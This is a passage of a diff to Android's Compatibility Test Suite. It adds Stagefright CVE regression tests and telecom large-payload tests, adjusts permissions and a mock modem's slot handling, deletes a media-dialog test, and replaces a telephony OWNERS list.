+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1809,6 +1809,48 @@
before any existing test methods
***********************************************************/
@Test
+ @AsbSecurityTest(cveBugId = 223209306)
+ public void testStagefright_cve_2022_22085() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22085);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223209816)
+ public void testStagefright_cve_2022_22084() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22084);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223211218)
+ public void testStagefright_cve_2022_22086() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22086);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 228101819)
+ public void testStagefright_cve_2022_25659() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_25659);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223210917)
+ public void testStagefright_cve_2022_22083() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22083);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223209610)
+ public void testStagefright_cve_2022_22087() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22087);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 228101835)
+ public void testStagefright_cve_2022_25657() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_25657);
+ }
+
+ @Test
@AsbSecurityTest(cveBugId = 231156126)
public void testStagefright_cve_2022_22059() throws Exception {
doStagefrightTest(R.raw.cve_2022_22059);
diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
index c9b5a3a..73474a1 100644
--- a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
@@ -19,9 +19,11 @@
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import android.Manifest;
+import android.app.ActivityManager;
import android.app.WallpaperManager;
import android.content.Context;
import android.content.res.AssetManager;
@@ -124,7 +126,8 @@
@Test
@AsbSecurityTest(cveBugId = 204087139)
public void testSetMaliciousStream() {
- unZipMaliciousImageFile();
+ ActivityManager am = mContext.getSystemService(ActivityManager.class);
+ assumeFalse(am.isLowRamDevice());
final File testImage = unZipMaliciousImageFile();
Assert.assertTrue(testImage.exists());
try (InputStream s = mContext.getContentResolver()
diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp
index e33d8fc..3a68e4d 100644
--- a/tests/tests/systemui/Android.bp
+++ b/tests/tests/systemui/Android.bp
@@ -39,6 +39,7 @@
"androidx.test.ext.junit",
"androidx.test.uiautomator",
"cts-wm-util",
+ "permission-test-util-lib",
"ub-uiautomator",
],
srcs: [
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index f55ed3f..d4ba3b3 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -26,6 +26,7 @@
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
<!-- Required by flickerlib to dump window states -->
<uses-permission android:name="android.permission.DUMP"/>
+ <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
<application android:requestLegacyExternalStorage="true">
<activity android:name=".LightBarActivity"
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index ffa58ba..5079217 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -16,6 +16,9 @@
package android.systemui.cts;
+import static android.Manifest.permission.POST_NOTIFICATIONS;
+import static android.Manifest.permission.REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL;
+import static android.Manifest.permission.REVOKE_RUNTIME_PERMISSIONS;
import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar;
import static android.server.wm.BarTestUtils.assumeHasColoredStatusBar;
import static android.server.wm.BarTestUtils.assumeStatusBarContainsCutout;
@@ -33,7 +36,10 @@
import android.graphics.Bitmap;
import android.graphics.Color;
import android.graphics.Insets;
+import android.os.Process;
import android.os.SystemClock;
+import android.permission.PermissionManager;
+import android.permission.cts.PermissionUtils;
import android.platform.test.annotations.AppModeFull;
import android.view.Gravity;
import android.view.InputDevice;
@@ -45,6 +51,7 @@
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.ThrowingRunnable;
import org.junit.Rule;
@@ -244,22 +251,23 @@
}
private void runInNotificationSession(ThrowingRunnable task) throws Exception {
+ Context context = getInstrumentation().getContext();
+ String packageName = getInstrumentation().getTargetContext().getPackageName();
try {
- mNm = (NotificationManager) getInstrumentation().getContext()
- .getSystemService(Context.NOTIFICATION_SERVICE);
+ PermissionUtils.grantPermission(packageName, POST_NOTIFICATIONS);
+ mNm = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
mNm.createNotificationChannel(channel1);
// post 10 notifications to ensure enough icons in the status bar
for (int i = 0; i < 10; i++) {
- Notification.Builder noti1 = new Notification.Builder(
- getInstrumentation().getContext(),
- NOTIFICATION_CHANNEL_ID)
- .setSmallIcon(R.drawable.ic_save)
- .setChannelId(NOTIFICATION_CHANNEL_ID)
- .setPriority(Notification.PRIORITY_LOW)
- .setGroup(NOTIFICATION_GROUP_KEY);
+ Notification.Builder noti1 =
+ new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.ic_save)
+ .setChannelId(NOTIFICATION_CHANNEL_ID)
+ .setPriority(Notification.PRIORITY_LOW)
+ .setGroup(NOTIFICATION_GROUP_KEY);
mNm.notify(NOTIFICATION_TAG, i, noti1.build());
}
@@ -267,6 +275,16 @@
} finally {
mNm.cancelAll();
mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+
+ // Use test API to prevent PermissionManager from killing the test process when revoking
+ // permission.
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> context.getSystemService(PermissionManager.class)
+ .revokePostNotificationPermissionWithoutKillForTest(
+ packageName,
+ Process.myUserHandle().getIdentifier()),
+ REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL,
+ REVOKE_RUNTIME_PERMISSIONS);
}
}
diff --git a/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java b/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java
deleted file mode 100644
index 0905e57..0000000
--- a/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.systemui.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.Until;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests related MediaOutputDialog:
- *
- * atest MediaDialogTest
- */
-@RunWith(AndroidJUnit4.class)
-public class MediaOutputDialogTest {
-
- private static final int TIMEOUT = 5000;
- private static final String ACTION_LAUNCH_MEDIA_OUTPUT_DIALOG =
- "com.android.systemui.action.LAUNCH_MEDIA_OUTPUT_DIALOG";
- private static final String SYSTEMUI_PACKAGE_NAME = "com.android.systemui";
- public static final String EXTRA_PACKAGE_NAME = "package_name";
- public static final String TEST_PACKAGE_NAME = "com.android.package.test";
- private static final BySelector MEDIA_DIALOG_SELECTOR = By.res(SYSTEMUI_PACKAGE_NAME,
- "media_output_dialog");
-
- private Context mContext;
- private UiDevice mDevice;
- private String mLauncherPackage;
- private boolean mHasTouchScreen;
-
- @Before
- public void setUp() {
- mContext = InstrumentationRegistry.getTargetContext();
- mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- final PackageManager packageManager = mContext.getPackageManager();
-
- mHasTouchScreen = packageManager.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
- || packageManager.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
-
- Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
- launcherIntent.addCategory(Intent.CATEGORY_HOME);
- ResolveInfo resolveInfo = packageManager.resolveActivity(launcherIntent,
- PackageManager.ResolveInfoFlags.of(PackageManager.MATCH_DEFAULT_ONLY));
- assumeFalse("Skipping test: can't get resolve info", resolveInfo == null);
- assumeFalse("Skipping test: not supported on automotive yet",
- packageManager.hasSystemFeature(
- PackageManager.FEATURE_AUTOMOTIVE));
- mLauncherPackage = resolveInfo.activityInfo.packageName;
- }
-
- @Test
- public void mediaOutputDialog_correctDialog() {
- assumeTrue(mHasTouchScreen);
- launchMediaOutputDialog();
-
- assertThat(mDevice.wait(Until.hasObject(MEDIA_DIALOG_SELECTOR), TIMEOUT)).isTrue();
- }
-
- private void launchMediaOutputDialog() {
- mDevice.pressHome();
- mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-
- Intent intent = new Intent();
- intent.setPackage(SYSTEMUI_PACKAGE_NAME)
- .setAction(ACTION_LAUNCH_MEDIA_OUTPUT_DIALOG)
- .putExtra(EXTRA_PACKAGE_NAME, TEST_PACKAGE_NAME);
-
- mContext.sendBroadcast(intent);
- }
-
-}
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java
index afc00e7..451d4e3 100644
--- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java
@@ -16,13 +16,19 @@
package android.telecom.cts;
+import static android.telecom.PhoneAccount.CAPABILITY_CALL_PROVIDER;
+import static android.telecom.PhoneAccount.CAPABILITY_SELF_MANAGED;
+
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
+import android.net.Uri;
import android.os.IBinder;
+import android.os.RemoteException;
import android.telecom.PhoneAccount;
import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
import android.telecom.cts.carmodetestapp.ICtsCarModeInCallServiceControl;
import android.telecom.cts.carmodetestappselfmanaged.CtsCarModeInCallServiceControlSelfManaged;
import android.util.Log;
@@ -38,10 +44,40 @@
private static final String TAG = "PhoneAccountRegistrarTest";
private static final long TIMEOUT = 3000L;
+ private static final int LARGE_ACCT_HANDLE_ID_MIN_SIZE = 50000;
+ private static final String RANDOM_CHAR_VALUE = "a";
+ private static final String TEL_PREFIX = "tel:";
+ private static final String TELECOM_CLEANUP_ACCTS_CMD = "telecom cleanup-orphan-phone-accounts";
public static final long SEED = 52L; // random seed chosen
public static final int MAX_PHONE_ACCOUNT_REGISTRATIONS = 10; // mirrors constant in...
// PhoneAccountRegistrar called MAX_PHONE_ACCOUNT_REGISTRATIONS
+ // permissions
+ private static final String READ_PHONE_STATE_PERMISSION =
+ "android.permission.READ_PRIVILEGED_PHONE_STATE";
+ private static final String MODIFY_PHONE_STATE_PERMISSION =
+ "android.permission.MODIFY_PHONE_STATE";
+ private static final String REGISTER_SIM_SUBSCRIPTION_PERMISSION =
+ "android.permission.REGISTER_SIM_SUBSCRIPTION";
+
+ // telecom cts test package (default package that registers phoneAccounts)
+ private static final ComponentName TEST_COMPONENT_NAME =
+ new ComponentName(TestUtils.PACKAGE, TestUtils.COMPONENT);
+
+ // secondary test package (extra package that can be set up to register phoneAccounts)
+ private static final String SELF_MANAGED_CAR_PACKAGE =
+ CtsCarModeInCallServiceControlSelfManaged.class.getPackage().getName();
+ private static final ComponentName SELF_MANAGED_CAR_RELATIVE_COMPONENT = ComponentName
+ .createRelative(SELF_MANAGED_CAR_PACKAGE,
+ CtsCarModeInCallServiceControlSelfManaged.class.getName());
+ private static final ComponentName CAR_COMPONENT = new ComponentName(SELF_MANAGED_CAR_PACKAGE,
+ TestUtils.SELF_MANAGED_COMPONENT);
+ private static final String CAR_MODE_CONTROL =
+ "android.telecom.cts.carmodetestapp.ACTION_CAR_MODE_CONTROL";
+ // variables to interface with the second test package
+ TestServiceConnection mControl;
+ ICtsCarModeInCallServiceControl mSecondaryTestPackageControl;
+
@Override
public void setUp() throws Exception {
// Sets up this package as default dialer in super.
@@ -204,8 +240,303 @@
mContext.unbindService(control);
}
+ /**
+ * Test the scenario where {@link android.telecom.TelecomManager
+ * #getCallCapablePhoneAccounts(boolean)} is called with a heavy payload
+ * that could cause a {@link android.os.TransactionTooLargeException}. Telecom is expected to
+ * handle this by splitting the parcels via {@link android.content.pm.ParceledListSlice}.
+ */
+ public void testGettingLargeCallCapablePhoneAccountHandlePayload() throws Exception {
+ if (!mShouldTestTelecom) return;
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // generate a large phoneAccountHandle id string to create a large payload
+ String largeAccountHandleId = generateLargeString(
+ LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+ assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+ // create handles for package 1
+ List<PhoneAccount> phoneAccountsForPackage1 =
+ generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+ numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_CALL_PROVIDER);
+
+ //create handles for package 2
+ List<PhoneAccount> phoneAccountsForPackage2 =
+ generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_CALL_PROVIDER);
+ try {
+ // register all accounts for package 1
+ phoneAccountsForPackage1.stream()
+ .forEach(a -> mTelecomManager.registerPhoneAccount(a));
+ // verify all can be fetched
+ verifyCanFetchCallCapableAccounts();
+ // register all accounts for package 2
+ bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+ // verify all can be fetched
+ verifyCanFetchCallCapableAccounts();
+ } catch (IllegalArgumentException e) {
+ // allow test pass ...
+ Log.i(TAG, "testGettingLargeCallCapablePhoneAccountHandlePayload:"
+ + " illegal arg exception thrown.");
+ } finally {
+ unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+ cleanupPhoneAccounts();
+ }
+ }
+
+ /**
+ * Test the scenario where {@link android.telecom.TelecomManager#getSelfManagedPhoneAccounts()}
+ * is called with a heavy payload that could cause a {@link
+ * android.os.TransactionTooLargeException}. Telecom is expected to handle this by splitting
+ * the parcels via {@link android.content.pm.ParceledListSlice}.
+ */
+ public void testGettingLargeSelfManagedPhoneAccountHandlePayload() throws Exception {
+ if (!mShouldTestTelecom) return;
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // generate a large phoneAccountHandle id string to create a large payload
+ String largeAccountHandleId = generateLargeString(
+ LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+ assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+ // create handles for package 1
+ List<PhoneAccount> phoneAccountsForPackage1 =
+ generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+ numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_SELF_MANAGED);
+
+ //create handles for package 2
+ List<PhoneAccount> phoneAccountsForPackage2 =
+ generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_SELF_MANAGED);
+ try {
+ // register all accounts for package 1
+ phoneAccountsForPackage1.stream()
+ .forEach(a -> mTelecomManager.registerPhoneAccount(a));
+ // verify all can be fetched
+ verifyCanFetchSelfManagedPhoneAccounts();
+ // register all accounts for package 2
+ bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+ // verify all can be fetched
+ verifyCanFetchSelfManagedPhoneAccounts();
+ } catch (IllegalArgumentException e) {
+ // allow test pass ...
+ Log.i(TAG, "testGettingLargeSelfManagedPhoneAccountHandlePayload:"
+ + " illegal arg exception thrown.");
+ } finally {
+ unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+ cleanupPhoneAccounts();
+ }
+ }
+
+ /**
+ * Test the scenario where {@link android.telecom.TelecomManager#getAllPhoneAccountHandles()}
+ * is called with a heavy payload that could cause a {@link
+ * android.os.TransactionTooLargeException}. Telecom is expected to handle this by splitting
+ * the parcels via {@link android.content.pm.ParceledListSlice}.
+ */
+ public void testGettingAllPhoneAccountHandlesWithLargePayload() throws Exception {
+ if (!mShouldTestTelecom) return;
+
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // generate a large phoneAccountHandle id string to create a large payload
+ String largeAccountHandleId = generateLargeString(
+ LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+ assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+ // create handles for package 1
+ List<PhoneAccount> phoneAccountsForPackage1 =
+ generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+ numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_SELF_MANAGED);
+
+ //create handles for package 2
+ List<PhoneAccount> phoneAccountsForPackage2 =
+ generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_SELF_MANAGED);
+ try {
+ // register all accounts for package 1
+ phoneAccountsForPackage1.stream()
+ .forEach(a -> mTelecomManager.registerPhoneAccount(a));
+ // verify all can be fetched
+ verifyCanFetchAllPhoneAccountHandles();
+ // register all accounts for package 2
+ bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+ // verify all can be fetched
+ verifyCanFetchAllPhoneAccountHandles();
+ } catch (IllegalArgumentException e) {
+ // allow test pass ...
+ } finally {
+
+ unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+ cleanupPhoneAccounts();
+ }
+ }
+
+ /**
+ * Test the scenario where {@link TelecomManager#getAllPhoneAccounts()}
+ * is called with a heavy payload that could cause a {@link
+ * android.os.TransactionTooLargeException}. Telecom is expected to handle this by splitting
+ * the parcels via {@link android.content.pm.ParceledListSlice}.
+ */
+ public void testGetAllPhoneAccountsWithLargePayload() throws Exception {
+ if (!mShouldTestTelecom) return;
+
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // generate a large phoneAccountHandle id string to create a large payload
+ String largeAccountHandleId = generateLargeString(
+ LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+ assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+ // create handles for package 1
+ List<PhoneAccount> phoneAccountsForPackage1 =
+ generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+ numberOfPhoneAccountsCtsPackageCanRegister(),
+ CAPABILITY_CALL_PROVIDER
+ | PhoneAccount.CAPABILITY_SIM_SUBSCRIPTION);
+
+ //create handles for package 2
+ List<PhoneAccount> phoneAccountsForPackage2 =
+ generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS,
+ CAPABILITY_SELF_MANAGED);
+ try {
+ // register all accounts for package 1
+ for (PhoneAccount pa : phoneAccountsForPackage1) {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelecomManager,
+ tm -> tm.registerPhoneAccount(pa), REGISTER_SIM_SUBSCRIPTION_PERMISSION);
+ }
+ // verify all can be fetched
+ verifyCanFetchAllPhoneAccounts();
+ // register all accounts for package 2
+ bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+ // verify all can be fetched
+ verifyCanFetchAllPhoneAccounts();
+ } catch (IllegalArgumentException e) {
+ // allow test pass ...
+ } finally {
+ unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+ cleanupPhoneAccounts();
+ }
+ }
+
// -- The following are helper methods for this testing class. --
+ private String generateLargeString(int size, String repeatStrValue) {
+ StringBuilder sb = new StringBuilder();
+ for (int i = 0; i < size; i++) {
+ sb.append(repeatStrValue);
+ }
+ return sb.toString();
+ }
+
+ private List<PhoneAccount> generatePhoneAccountsForPackage(ComponentName cn, String baseId,
+ int numOfAccountsToRegister, int capabilities) {
+ List<PhoneAccount> accounts = new ArrayList<>();
+
+ for (int i = 0; i < numOfAccountsToRegister; i++) {
+ String id = baseId + i;
+ PhoneAccountHandle pah = new PhoneAccountHandle(cn, id);
+ // create phoneAccount
+ String number = TEL_PREFIX + i;
+ PhoneAccount pa = PhoneAccount.builder(pah, TestUtils.ACCOUNT_LABEL)
+ .setAddress(Uri.parse(number))
+ .setSubscriptionAddress(Uri.parse(number))
+ .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+ .setCapabilities(capabilities)
+ .build();
+ accounts.add(pa);
+ }
+ return accounts;
+ }
+
+ public void bindToSecondTestPackageAndRegisterAccounts(List<PhoneAccount> accounts)
+ throws Exception {
+ bindToSecondTestPackage();
+ registerAccountsToSecondTestPackage(accounts);
+ }
+
+ public void unbindSecondTestPackageAndUnregisterAccounts(List<PhoneAccount> accounts) {
+ try {
+ mContext.unbindService(mControl);
+ unRegisterAccountsForSecondTestPackage(accounts);
+ } catch (Exception e) {
+ Log.d(TAG,
+ "exception thrown while trying to unbind and unregister accts for 2nd package");
+ }
+ }
+
+ public void bindToSecondTestPackage() throws RemoteException {
+ // Set up binding for second package. This is needed in order to bypass a SecurityException
+ // thrown by a second test package registering phone accounts.
+ mControl = setUpControl(CAR_MODE_CONTROL, SELF_MANAGED_CAR_RELATIVE_COMPONENT);
+ mSecondaryTestPackageControl =
+ ICtsCarModeInCallServiceControl.Stub.asInterface(mControl.getService());
+ // reset all package variables etc.
+ if (mSecondaryTestPackageControl != null) {
+ mSecondaryTestPackageControl.reset(); //... done setting up binding
+ }
+ }
+
+ public void registerAccountsToSecondTestPackage(List<PhoneAccount> accounts)
+ throws Exception {
+ if (mSecondaryTestPackageControl != null) {
+ for (PhoneAccount p : accounts) {
+ mSecondaryTestPackageControl.registerPhoneAccount(p);
+ TestUtils.enablePhoneAccount(getInstrumentation(), p.getAccountHandle());
+ }
+ }
+ }
+
+ public void unRegisterAccountsForSecondTestPackage(List<PhoneAccount> accounts)
+ throws RemoteException {
+ if (mSecondaryTestPackageControl != null) {
+ for (PhoneAccount p : accounts) {
+ mSecondaryTestPackageControl.unregisterPhoneAccount(p.getAccountHandle());
+ }
+ }
+ }
+
+ public void verifyCanFetchCallCapableAccounts() {
+ List<PhoneAccountHandle> res =
+ mTelecomManager.getCallCapablePhoneAccounts(true);
+ assertNotNull(res);
+ assertTrue(res.size() > 0);
+ }
+
+ public void verifyCanFetchAllPhoneAccountHandles() {
+ List<PhoneAccountHandle> res =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelecomManager, (tm) -> tm.getAllPhoneAccountHandles(),
+ MODIFY_PHONE_STATE_PERMISSION);
+ assertNotNull(res);
+ assertTrue(res.size() > 0);
+ }
+
+ public void verifyCanFetchAllPhoneAccounts() {
+ List<PhoneAccount> res =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelecomManager, (tm) -> tm.getAllPhoneAccounts(),
+ MODIFY_PHONE_STATE_PERMISSION);
+ assertNotNull(res);
+ assertTrue(res.size() > 0);
+ }
+
+ public void verifyCanFetchSelfManagedPhoneAccounts() {
+ List<PhoneAccountHandle> res =
+ mTelecomManager.getSelfManagedPhoneAccounts();
+ assertNotNull(res);
+ assertTrue(res.size() > 0);
+ }
+
+ private int numberOfPhoneAccountsCtsPackageCanRegister() {
+ return MAX_PHONE_ACCOUNT_REGISTRATIONS - getNumberOfPhoneAccountsRegisteredToTestPackage();
+ }
+
private TestServiceConnection setUpControl(String action, ComponentName componentName) {
Intent bindIntent = new Intent(action);
bindIntent.setComponent(componentName);
@@ -257,17 +588,24 @@
* getPhoneAccountsForPackage() method.
*/
private void cleanupPhoneAccounts() {
- if (mTelecomManager != null) {
- // Get all handles registered to the testing package
- List<PhoneAccountHandle> handles = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(),
- "android.permission.READ_PRIVILEGED_PHONE_STATE");
+ try {
+ if (mTelecomManager != null) {
+ // Get all handles registered to the testing package
+ List<PhoneAccountHandle> handles =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(),
+ READ_PHONE_STATE_PERMISSION);
- // cleanup any extra phone accounts registered to the testing package
- if (handles.size() > 0 && mTelecomManager != null) {
- handles.stream().forEach(
- d -> mTelecomManager.unregisterPhoneAccount(d));
+ // cleanup any extra phone accounts registered to the testing package
+ if (handles.size() > 0 && mTelecomManager != null) {
+ handles.stream().forEach(
+ d -> mTelecomManager.unregisterPhoneAccount(d));
+ }
+
+ TestUtils.executeShellCommand(getInstrumentation(), TELECOM_CLEANUP_ACCTS_CMD);
}
+ } catch (Exception e) {
+ Log.d(TAG, "cleanupPhoneAccounts: hit exception while trying to clean");
}
}
@@ -281,7 +619,7 @@
if (mTelecomManager != null) {
return ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(),
- "android.permission.READ_PRIVILEGED_PHONE_STATE").size();
+ READ_PHONE_STATE_PERMISSION).size();
}
return 0;
}
diff --git a/tests/tests/telephony/OWNERS b/tests/tests/telephony/OWNERS
index 02848c8..89e4f4d 100644
--- a/tests/tests/telephony/OWNERS
+++ b/tests/tests/telephony/OWNERS
@@ -1,2 +1,17 @@
-file:platform/frameworks/opt/telephony:/OWNERS
-
+# Bug component: 20868
+amagup@google.com
+amallampati@google.com
+amruthr@google.com
+breadley@google.com
+chinmayd@google.com
+fionaxu@google.com
+huiwang@google.com
+jackyu@google.com
+jayachandranc@google.com
+linggm@google.com
+rgreenwalt@google.com
+sarahchin@google.com
+sasindran@google.com
+tgunn@google.com
+tjstuart@google.com
+xiaotonj@google.com
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
index f2523a4..0bed8a7 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
@@ -34,6 +34,7 @@
public class MockModemService extends Service {
private static final String TAG = "MockModemService";
+ private static final String RESOURCE_PACKAGE_NAME = "android";
public static final int TEST_TIMEOUT_MS = 30000;
public static final String IRADIOCONFIG_INTERFACE = "android.telephony.mockmodem.iradioconfig";
@@ -233,9 +234,18 @@
}
public int getNumPhysicalSlots() {
- int numPhysicalSlots =
+ int numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MIN;
+ int resourceId =
sContext.getResources()
- .getInteger(com.android.internal.R.integer.config_num_physical_slots);
+ .getIdentifier(
+ "config_num_physical_slots", "integer", RESOURCE_PACKAGE_NAME);
+
+ if (resourceId > 0) {
+ numPhysicalSlots = sContext.getResources().getInteger(resourceId);
+ } else {
+ Log.d(TAG, "Fail to get the resource Id, using default: " + numPhysicalSlots);
+ }
+
if (numPhysicalSlots > MockSimService.MOCK_SIM_SLOT_MAX) {
Log.d(
TAG,
@@ -245,6 +255,15 @@
+ MockSimService.MOCK_SIM_SLOT_MAX
+ ").");
numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MAX;
+ } else if (numPhysicalSlots <= MockSimService.MOCK_SIM_SLOT_MIN) {
+ Log.d(
+ TAG,
+ "Number of physical Slot ("
+ + numPhysicalSlots
+ + ") < mock sim slot support. Reset to min number supported ("
+ + MockSimService.MOCK_SIM_SLOT_MIN
+ + ").");
+ numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MIN;
}
return numPhysicalSlots;
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
index 8183925..026710b 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
@@ -63,6 +63,7 @@
private static final int MOCK_SIM_SLOT_1 = 0;
